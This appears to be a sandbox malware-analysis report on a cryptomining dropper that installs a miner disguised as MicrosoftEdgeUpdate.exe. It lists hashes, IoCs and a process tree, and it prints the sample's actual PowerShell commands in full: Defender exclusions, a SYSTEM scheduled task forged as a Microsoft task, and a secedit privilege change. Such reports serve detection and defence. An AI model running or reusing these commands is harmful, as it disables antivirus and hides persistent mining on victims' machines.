ddf947a952a82555921c69d2b2dac0cfb793377237578af231b2a503834eaaa9

Analysis

max time kernel
150s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
21/07/2026, 02:47

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-21_3a85ad41539c10d2ebc2a62596a64bf7_cobalt-strike_coinminer_icedid_njrat_satacom_stealc.exe
Size 9.4MB
Sample260721-c9wzfaev91
SHA256 ddf947a952a82555921c69d2b2dac0cfb793377237578af231b2a503834eaaa9
MD5 3a85ad41539c10d2ebc2a62596a64bf7
SHA1 5195712e3c544ae06dacd89d7237283718e0ad41
SHA512 ddcccd572b5cb1d2c015b05130248bc4d2e4d37088f19d6031c2ec281791d7cfe9c5eaff982d4e1cd672b5a8e625fc2865aa5dd769a7f91af140813e33a6c320
SSDEEP 49152:7ZQ18NmOljbp3I4lbmENAsEsLeZrWnJ4HFW952qyCO1IkeStMBJZsx4z9x4X4Eny:ZpbZF5mENAsEY9vb2FCqgCksx4jj
TLSH
T14EA6BEB5A24C4E6BE466B078C1A34653DBF0BF0A2760CFD676CC7C470BAF0D4692495A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

execution persistence

Malware Config

Signatures

Detects executables containing URLs to raw contents of a Github gist 2 IoCs

resource	yara_rule
behavioral2/files/0x0009000000011380-2.dat	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral2/files/0x001400000001c5bc-52.dat	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL

Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3216	powershell.exe
3364	powershell.exe
1832	powershell.exe
4576	powershell.exe
2664	powershell.exe
3216	powershell.exe
3364	powershell.exe
1832	powershell.exe
4576	powershell.exe
5620	powershell.exe
5748	powershell.exe
6100	powershell.exe

Executes dropped EXE 6 IoCs

pid	Process
4760	GoonHUB.exe
4748	miner_setup_x64.exe
1968	MicrosoftEdgeUpdate.exe
2136	MicrosoftEdgeUpdate.exe
2304	MicrosoftEdgeUpdate.exe
1804	MicrosoftEdgeUpdate.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Applications\GoonHUB.exe	GoonHUB.exe
Key created	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Applications	GoonHUB.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Applications\GoonHUB.exe\FriendlyAppName = "GoonHUB"	GoonHUB.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3216	powershell.exe
3216	powershell.exe
3364	powershell.exe
3364	powershell.exe
3364	powershell.exe
4576	powershell.exe
4576	powershell.exe
1832	powershell.exe
1832	powershell.exe
1832	powershell.exe
4576	powershell.exe
908	2026-07-21_3a85ad41539c10d2ebc2a62596a64bf7_cobalt-strike_coinminer_icedid_njrat_satacom_stealc.exe
908	2026-07-21_3a85ad41539c10d2ebc2a62596a64bf7_cobalt-strike_coinminer_icedid_njrat_satacom_stealc.exe
4748	miner_setup_x64.exe
4748	miner_setup_x64.exe
5620	powershell.exe
5620	powershell.exe
5748	powershell.exe
5748	powershell.exe
5748	powershell.exe
5620	powershell.exe
1968	MicrosoftEdgeUpdate.exe
1968	MicrosoftEdgeUpdate.exe
2664	powershell.exe
2664	powershell.exe
6100	powershell.exe
6100	powershell.exe
6100	powershell.exe
2664	powershell.exe
2304	MicrosoftEdgeUpdate.exe
2304	MicrosoftEdgeUpdate.exe
1968	MicrosoftEdgeUpdate.exe
1968	MicrosoftEdgeUpdate.exe
2304	MicrosoftEdgeUpdate.exe
2304	MicrosoftEdgeUpdate.exe
2304	MicrosoftEdgeUpdate.exe
2304	MicrosoftEdgeUpdate.exe
1968	MicrosoftEdgeUpdate.exe
1968	MicrosoftEdgeUpdate.exe
2304	MicrosoftEdgeUpdate.exe
2304	MicrosoftEdgeUpdate.exe
2304	MicrosoftEdgeUpdate.exe
2304	MicrosoftEdgeUpdate.exe
1968	MicrosoftEdgeUpdate.exe
1968	MicrosoftEdgeUpdate.exe
2304	MicrosoftEdgeUpdate.exe
2304	MicrosoftEdgeUpdate.exe
2304	MicrosoftEdgeUpdate.exe
2304	MicrosoftEdgeUpdate.exe
1968	MicrosoftEdgeUpdate.exe
1968	MicrosoftEdgeUpdate.exe
2304	MicrosoftEdgeUpdate.exe
2304	MicrosoftEdgeUpdate.exe
2304	MicrosoftEdgeUpdate.exe
2304	MicrosoftEdgeUpdate.exe
1968	MicrosoftEdgeUpdate.exe
1968	MicrosoftEdgeUpdate.exe
2304	MicrosoftEdgeUpdate.exe
2304	MicrosoftEdgeUpdate.exe
2304	MicrosoftEdgeUpdate.exe
2304	MicrosoftEdgeUpdate.exe
1968	MicrosoftEdgeUpdate.exe
1968	MicrosoftEdgeUpdate.exe
2304	MicrosoftEdgeUpdate.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1968	MicrosoftEdgeUpdate.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3216	powershell.exe
Token: SeDebugPrivilege	3364	powershell.exe
Token: SeIncreaseQuotaPrivilege	3216	powershell.exe
Token: SeSecurityPrivilege	3216	powershell.exe
Token: SeTakeOwnershipPrivilege	3216	powershell.exe
Token: SeLoadDriverPrivilege	3216	powershell.exe
Token: SeSystemProfilePrivilege	3216	powershell.exe
Token: SeSystemtimePrivilege	3216	powershell.exe
Token: SeProfSingleProcessPrivilege	3216	powershell.exe
Token: SeIncBasePriorityPrivilege	3216	powershell.exe
Token: SeCreatePagefilePrivilege	3216	powershell.exe
Token: SeBackupPrivilege	3216	powershell.exe
Token: SeRestorePrivilege	3216	powershell.exe
Token: SeShutdownPrivilege	3216	powershell.exe
Token: SeDebugPrivilege	3216	powershell.exe
Token: SeSystemEnvironmentPrivilege	3216	powershell.exe
Token: SeRemoteShutdownPrivilege	3216	powershell.exe
Token: SeUndockPrivilege	3216	powershell.exe
Token: SeManageVolumePrivilege	3216	powershell.exe
Token: 33	3216	powershell.exe
Token: 34	3216	powershell.exe
Token: 35	3216	powershell.exe
Token: 36	3216	powershell.exe
Token: SeIncreaseQuotaPrivilege	3364	powershell.exe
Token: SeSecurityPrivilege	3364	powershell.exe
Token: SeTakeOwnershipPrivilege	3364	powershell.exe
Token: SeLoadDriverPrivilege	3364	powershell.exe
Token: SeSystemProfilePrivilege	3364	powershell.exe
Token: SeSystemtimePrivilege	3364	powershell.exe
Token: SeProfSingleProcessPrivilege	3364	powershell.exe
Token: SeIncBasePriorityPrivilege	3364	powershell.exe
Token: SeCreatePagefilePrivilege	3364	powershell.exe
Token: SeBackupPrivilege	3364	powershell.exe
Token: SeRestorePrivilege	3364	powershell.exe
Token: SeShutdownPrivilege	3364	powershell.exe
Token: SeDebugPrivilege	3364	powershell.exe
Token: SeSystemEnvironmentPrivilege	3364	powershell.exe
Token: SeRemoteShutdownPrivilege	3364	powershell.exe
Token: SeUndockPrivilege	3364	powershell.exe
Token: SeManageVolumePrivilege	3364	powershell.exe
Token: 33	3364	powershell.exe
Token: 34	3364	powershell.exe
Token: 35	3364	powershell.exe
Token: 36	3364	powershell.exe
Token: SeDebugPrivilege	4576	powershell.exe
Token: SeDebugPrivilege	1832	powershell.exe
Token: SeIncreaseQuotaPrivilege	4576	powershell.exe
Token: SeSecurityPrivilege	4576	powershell.exe
Token: SeTakeOwnershipPrivilege	4576	powershell.exe
Token: SeLoadDriverPrivilege	4576	powershell.exe
Token: SeSystemProfilePrivilege	4576	powershell.exe
Token: SeSystemtimePrivilege	4576	powershell.exe
Token: SeProfSingleProcessPrivilege	4576	powershell.exe
Token: SeIncBasePriorityPrivilege	4576	powershell.exe
Token: SeCreatePagefilePrivilege	4576	powershell.exe
Token: SeBackupPrivilege	4576	powershell.exe
Token: SeRestorePrivilege	4576	powershell.exe
Token: SeShutdownPrivilege	4576	powershell.exe
Token: SeDebugPrivilege	4576	powershell.exe
Token: SeSystemEnvironmentPrivilege	4576	powershell.exe
Token: SeRemoteShutdownPrivilege	4576	powershell.exe
Token: SeUndockPrivilege	4576	powershell.exe
Token: SeManageVolumePrivilege	4576	powershell.exe
Token: 33	4576	powershell.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 908 wrote to memory of 4760	908	2026-07-21_3a85ad41539c10d2ebc2a62596a64bf7_cobalt-strike_coinminer_icedid_njrat_satacom_stealc.exe	88
PID 4760 wrote to memory of 4748	4760	GoonHUB.exe	90
PID 908 wrote to memory of 3216	908	2026-07-21_3a85ad41539c10d2ebc2a62596a64bf7_cobalt-strike_coinminer_icedid_njrat_satacom_stealc.exe	94
PID 4748 wrote to memory of 3364	4748	miner_setup_x64.exe	96
PID 4748 wrote to memory of 1832	4748	miner_setup_x64.exe	99
PID 908 wrote to memory of 4576	908	2026-07-21_3a85ad41539c10d2ebc2a62596a64bf7_cobalt-strike_coinminer_icedid_njrat_satacom_stealc.exe	101
PID 4748 wrote to memory of 2132	4748	miner_setup_x64.exe	103
PID 908 wrote to memory of 3652	908	2026-07-21_3a85ad41539c10d2ebc2a62596a64bf7_cobalt-strike_coinminer_icedid_njrat_satacom_stealc.exe	104
PID 4748 wrote to memory of 5620	4748	miner_setup_x64.exe	107
PID 908 wrote to memory of 5748	908	2026-07-21_3a85ad41539c10d2ebc2a62596a64bf7_cobalt-strike_coinminer_icedid_njrat_satacom_stealc.exe	109
PID 4748 wrote to memory of 356	4748	miner_setup_x64.exe	113
PID 908 wrote to memory of 3112	908	2026-07-21_3a85ad41539c10d2ebc2a62596a64bf7_cobalt-strike_coinminer_icedid_njrat_satacom_stealc.exe	112
PID 908 wrote to memory of 1968	908	2026-07-21_3a85ad41539c10d2ebc2a62596a64bf7_cobalt-strike_coinminer_icedid_njrat_satacom_stealc.exe	117
PID 908 wrote to memory of 6100	908	2026-07-21_3a85ad41539c10d2ebc2a62596a64bf7_cobalt-strike_coinminer_icedid_njrat_satacom_stealc.exe	118
PID 4748 wrote to memory of 2136	4748	miner_setup_x64.exe	120
PID 4748 wrote to memory of 2664	4748	miner_setup_x64.exe	121
PID 6100 wrote to memory of 252	6100	powershell.exe	123
PID 2664 wrote to memory of 5804	2664	powershell.exe	124
PID 2664 wrote to memory of 6112	2664	powershell.exe	125
PID 6100 wrote to memory of 5288	6100	powershell.exe	126
PID 2304 wrote to memory of 1804	2304	MicrosoftEdgeUpdate.exe	127

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-07-21_3a85ad41539c10d2ebc2a62596a64bf7_cobalt-strike_coinminer_icedid_njrat_satacom_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-21_3a85ad41539c10d2ebc2a62596a64bf7_cobalt-strike_coinminer_icedid_njrat_satacom_stealc.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:908
- C:\Users\Admin\AppData\Local\Temp\GoonHUB.exe
  "C:\Users\Admin\AppData\Local\Temp\GoonHUB.exe"
  2⤵
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:4760
- - C:\Users\Admin\AppData\Local\Temp\miner_setup_x64.exe
    "C:\Users\Admin\AppData\Local\Temp\miner_setup_x64.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4748
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3364
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1832
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /end /tn "\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore"
      4⤵
      PID:2132
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "$Action = New-ScheduledTaskAction -Execute '"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe"' -Argument '--watcher' -WorkingDirectory '"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore"'; $Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 1) -RepetitionDuration (New-TimeSpan -Days 3650); $Principal = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -LogonType ServiceAccount -RunLevel Highest; $Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -MultipleInstances IgnoreNew; $Task = New-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings; $Task.Author = 'Microsoft Corporation'; Register-ScheduledTask -TaskName '\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore' -InputObject $Task -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5620
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /run /tn "\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore"
      4⤵
      PID:356
  - - C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
      "C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe" --monitor
      4⤵
      Executes dropped EXE
      PID:2136
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "$cfg = \"$env:temp\secpol.cfg\"; secedit /export /cfg $cfg /quiet; $c = Get-Content $cfg; $hasPriv = $false; $newC = @(); foreach ($l in $c) { if ($l -match '^SeLockMemoryPrivilege') { $hasPriv = $true; if ($l -notmatch '\*S-1-5-32-544') { $l = $l + ',*S-1-5-32-544' } }; $newC += $l }; if (-not $hasPriv) { for ($i=0; $i -lt $newC.Length; $i++) { if ($newC[$i] -match '^\[Privilege Rights\]') { $newC = $newC[0..$i] + 'SeLockMemoryPrivilege = *S-1-5-32-544' + $newC[($i+1)..($newC.Length-1)]; break } } }; Set-Content -Path $cfg -Value $newC; secedit /configure /db $env:windir\security\database\secedit.sdb /cfg $cfg /areas USER_RIGHTS /quiet"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2664
    - - C:\Windows\system32\SecEdit.exe
        
        "C:\Windows\system32\SecEdit.exe" /export /cfg C:\Users\Admin\AppData\Local\Temp\secpol.cfg /quiet
        5⤵
        
        PID:5804
    - - C:\Windows\system32\SecEdit.exe
        
        "C:\Windows\system32\SecEdit.exe" /configure /db C:\Windows\security\database\secedit.sdb /cfg C:\Users\Admin\AppData\Local\Temp\secpol.cfg /areas USER_RIGHTS /quiet
        5⤵
        
        PID:6112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3216
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4576
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /end /tn "\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore"
  2⤵
  PID:3652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "$Action = New-ScheduledTaskAction -Execute '"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe"' -Argument '--watcher' -WorkingDirectory '"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore"'; $Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 1) -RepetitionDuration (New-TimeSpan -Days 3650); $Principal = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -LogonType ServiceAccount -RunLevel Highest; $Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -MultipleInstances IgnoreNew; $Task = New-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings; $Task.Author = 'Microsoft Corporation'; Register-ScheduledTask -TaskName '\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore' -InputObject $Task -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5748
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /run /tn "\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore"
  2⤵
  PID:3112
- C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
  "C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe" --monitor
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: GetForegroundWindowSpam
  PID:1968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "$cfg = \"$env:temp\secpol.cfg\"; secedit /export /cfg $cfg /quiet; $c = Get-Content $cfg; $hasPriv = $false; $newC = @(); foreach ($l in $c) { if ($l -match '^SeLockMemoryPrivilege') { $hasPriv = $true; if ($l -notmatch '\*S-1-5-32-544') { $l = $l + ',*S-1-5-32-544' } }; $newC += $l }; if (-not $hasPriv) { for ($i=0; $i -lt $newC.Length; $i++) { if ($newC[$i] -match '^\[Privilege Rights\]') { $newC = $newC[0..$i] + 'SeLockMemoryPrivilege = *S-1-5-32-544' + $newC[($i+1)..($newC.Length-1)]; break } } }; Set-Content -Path $cfg -Value $newC; secedit /configure /db $env:windir\security\database\secedit.sdb /cfg $cfg /areas USER_RIGHTS /quiet"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:6100
- - C:\Windows\system32\SecEdit.exe
    "C:\Windows\system32\SecEdit.exe" /export /cfg C:\Users\Admin\AppData\Local\Temp\secpol.cfg /quiet
    3⤵
    PID:252
- - C:\Windows\system32\SecEdit.exe
    "C:\Windows\system32\SecEdit.exe" /configure /db C:\Windows\security\database\secedit.sdb /cfg C:\Users\Admin\AppData\Local\Temp\secpol.cfg /areas USER_RIGHTS /quiet
    3⤵
    PID:5288

C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe" --watcher
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2304
- C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
  "C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe" --mine
  2⤵
  - Executes dropped EXE
  PID:1804

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

MicrosoftEdgeUpdate.exe

Path C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
Size 9.4MB
SHA256 ddf947a952a82555921c69d2b2dac0cfb793377237578af231b2a503834eaaa9
MD5 3a85ad41539c10d2ebc2a62596a64bf7
SHA1 5195712e3c544ae06dacd89d7237283718e0ad41
SHA512 ddcccd572b5cb1d2c015b05130248bc4d2e4d37088f19d6031c2ec281791d7cfe9c5eaff982d4e1cd672b5a8e625fc2865aa5dd769a7f91af140813e33a6c320
SSDEEP 49152:7ZQ18NmOljbp3I4lbmENAsEsLeZrWnJ4HFW952qyCO1IkeStMBJZsx4z9x4X4Eny:ZpbZF5mENAsEY9vb2FCqgCksx4jj
TLSH
T14EA6BEB5A24C4E6BE466B078C1A34653DBF0BF0A2760CFD676CC7C470BAF0D4692495A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 34f4060ada48f684fb211efe47805ddc0bea9f65eb6ae17e98e99d8cbf56942b
MD5 b249b1fd7705410dbe2e82f924df9ac2
SHA1 27b5744c10c3b2d0fc7cdbbd36bc2816ee1f87ec
SHA512 4828320f9962c4a9ac100284c769df362f98d15ee4bd0011db2947273923232e5699f662ca9ad392de94421944591a71eb677a90a7802095a2f3eb3b811f1457
TLSH
T142115733F3CC8724C89A403650CEAC1036B587DB509ECEABBB84D154B43F5A9CE61260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
MD5 acbc65123954839a819fa2495d239bf7
SHA1 063cff64444a6e3b4be1445b4cecb477e4d6ae47
SHA512 af07d3f6dcf1779bcc864aabe9e08563b20b8df8238df7bb08a5fe3b4e40d10f2e2a4442a042fe5d7a320e3b8195799ecc885549faa8babb5909eb32271e7b91
TLSH
T170216833B3DD8615CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 354705524c4655148bd02cdcb9b9b830fc891598182c00d1539f5605788a9972
MD5 9679a69f7debad740c813034fa4551dc
SHA1 0ba17d0f68e705bf1cb3974abcef80d4baa57d63
SHA512 e02e01bd0476f70aea6249dadf5a7f7422454a534529e63fb5aee44994b13b33300f1c6533a1ac1997ce8fe711c8cd70a7f71cc1f39646b3f94fb8672241bd58
TLSH
T171218E37F3DC8610C89A413A10CDAC1036B6C7DB41DECFAB6B85E555A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 4b6c1dc08f0b29f68790d2245346be1a4198dd4768c0f60301192e4966e5ba68
MD5 04b10ac19895d1596d39a2429687dc5a
SHA1 57b00ec37f8c7475fa3a3bd883290c821faf1138
SHA512 84ec4e4e3e4accd0930d5d1fa20107f0d68eb14998771c3eaa0f80670ed62ca94f7cd66ffb4ef80b50767ad7d3ad364de4b0b16c3a4c15d5826ff3de3d15c771
TLSH
T176219B33B3DC8650C89D413A10CDAC0036B7C7DB81DFCE9B6B85D559A42F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

GoonHUB.exe

Path C:\Users\Admin\AppData\Local\Temp\GoonHUB.exe
Size 8.7MB
SHA256 6149ef8794546d4474984da984370094112798100afd5d20d3fc8e497d588ca7
MD5 caea76801c427e51a366b31973bff367
SHA1 fb2465b073bf31fa948b561043716a93916c21e8
SHA512 d612e503c80bd88f463c8c4418ed7aa90428dac9f8fccf2190bc17d9ed47fd764661f51df11be8062d6fcadd61f4b7873e5c21ac4a7486d6e8710c3e243b8752
SSDEEP 49152:Ybp3I4lbmENAsEsLeZrWnJ4HFW952qyCO1IkeStMBJZsx4z9x4X4EnI9hqAf5l8k:YbZF5mENAsEY9vb2FCqgCksx4jj
TLSH
T11496CEB5A14C4E2BE466B079C1A34693DBF0BF4A2760CFC6B5CC7C470BAF094792456A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_hqhnrdsi.qos.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hqhnrdsi.qos.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

miner_setup_x64.exe

Path C:\Users\Admin\AppData\Local\Temp\miner_setup_x64.exe
Size 576KB
SHA256 f823738d73cb78b055715749a69954d4eedec15b5b7ca8601038a22eadd27a30
MD5 6ce4c49f4073af437063637a3f1d87e8
SHA1 2e2f3e6d9eba394e1c71364febbc8c130e536482
SHA512 a31bd338293d33929a135bb8e4cfb6f2c5d74a14d2a6a3d836aeb18be33f9552fe58062deb5b2b25860a20ea0f82a0673e6812887fcdf0dab80f4a17ba1f9eb4
SSDEEP 12288:4HyiLmfZnsO5ET8QanYYRs1Q0RZLCqntR:wonsgObYRseoC+t
TLSH
T18CC47D25B6E806F8E177C178CA934902E673B85547709ACF03D04AA75F27AE45F3EB21
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sce31401.tmp

Path C:\Users\Admin\AppData\Local\Temp\sce31401.tmp
Size 12KB
SHA256 556e294b0e630dedf376f4abfbae0f9cd30ae636d79ec09d99e29a9dd088840a
MD5 6af3d1236ffcec5ddfac04cc201f112e
SHA1 bc128377ffe1354450732b3e81686030c77de970
SHA512 3f2f8c9a295799d757e2493d0e605faec419deaff1a2419e78cc0b6921b34ecadb0c47179118df4eee26d2bb74c0d6e210d5484b0c8e2eb8eadb3fee74298f38
SSDEEP 96:rprc6mOr9+gkz2TNGUfSVj1OuScDcWcocGcvcecjcHc/cLcscAcqcsc9TVc7c7c9:hc9Brzx/1Ou3TMTGg
TLSH
T1C8527B1297F90908F7F70F95AEBE99694A37FDB20E19C59C0168428E44B2F55CA32337
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

secpol.cfg

Path C:\Users\Admin\AppData\Local\Temp\secpol.cfg
Size 8KB
SHA256 0df9f6ae0a928593ddc6731cb29ce4d005d33ba7c36df8feb5bf7d933c606e44
MD5 abfee7e71e4b5843933bc26c2d11a12d
SHA1 46063dd2e8c345ab0117d73193f0329bfabfcb28
SHA512 36430bce00e12d414121cebc4ed9d8161cc7c88c1dd75940d51d667def435b804754f5ad360f2f984189012d6585e7218202d4610901d1766baf3d093257d61c
SSDEEP 192:4Isx7y61rzxPq5kpjayh0VZ0t00Vxk4IiRJk0Ipt0G50VRrb3+mH0h0VG850//0X:49h3xPq6h0VZ0q0VDIiRfIpt0G50VRrr
TLSH
T1F102C1637D75C27AD0E23BC577666D5001F73286E293A15305B8280EA3E2566D3BB2CF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1804-105-0x000001A539DF0000-0x000001A539E04000-memory.dmp

Download

memory/1804-104-0x000001A539DF0000-0x000001A539E04000-memory.dmp

Download

memory/3216-23-0x000001E5DD950000-0x000001E5DD95A000-memory.dmp

Download

memory/3216-19-0x000001E5DDB70000-0x000001E5DDB8E000-memory.dmp

Download

memory/3216-20-0x000001E5DDB90000-0x000001E5DDC42000-memory.dmp

Download

memory/3216-14-0x000001E5DD8A0000-0x000001E5DD8C2000-memory.dmp

Download

memory/5748-48-0x0000023FCB260000-0x0000023FCB27E000-memory.dmp

Download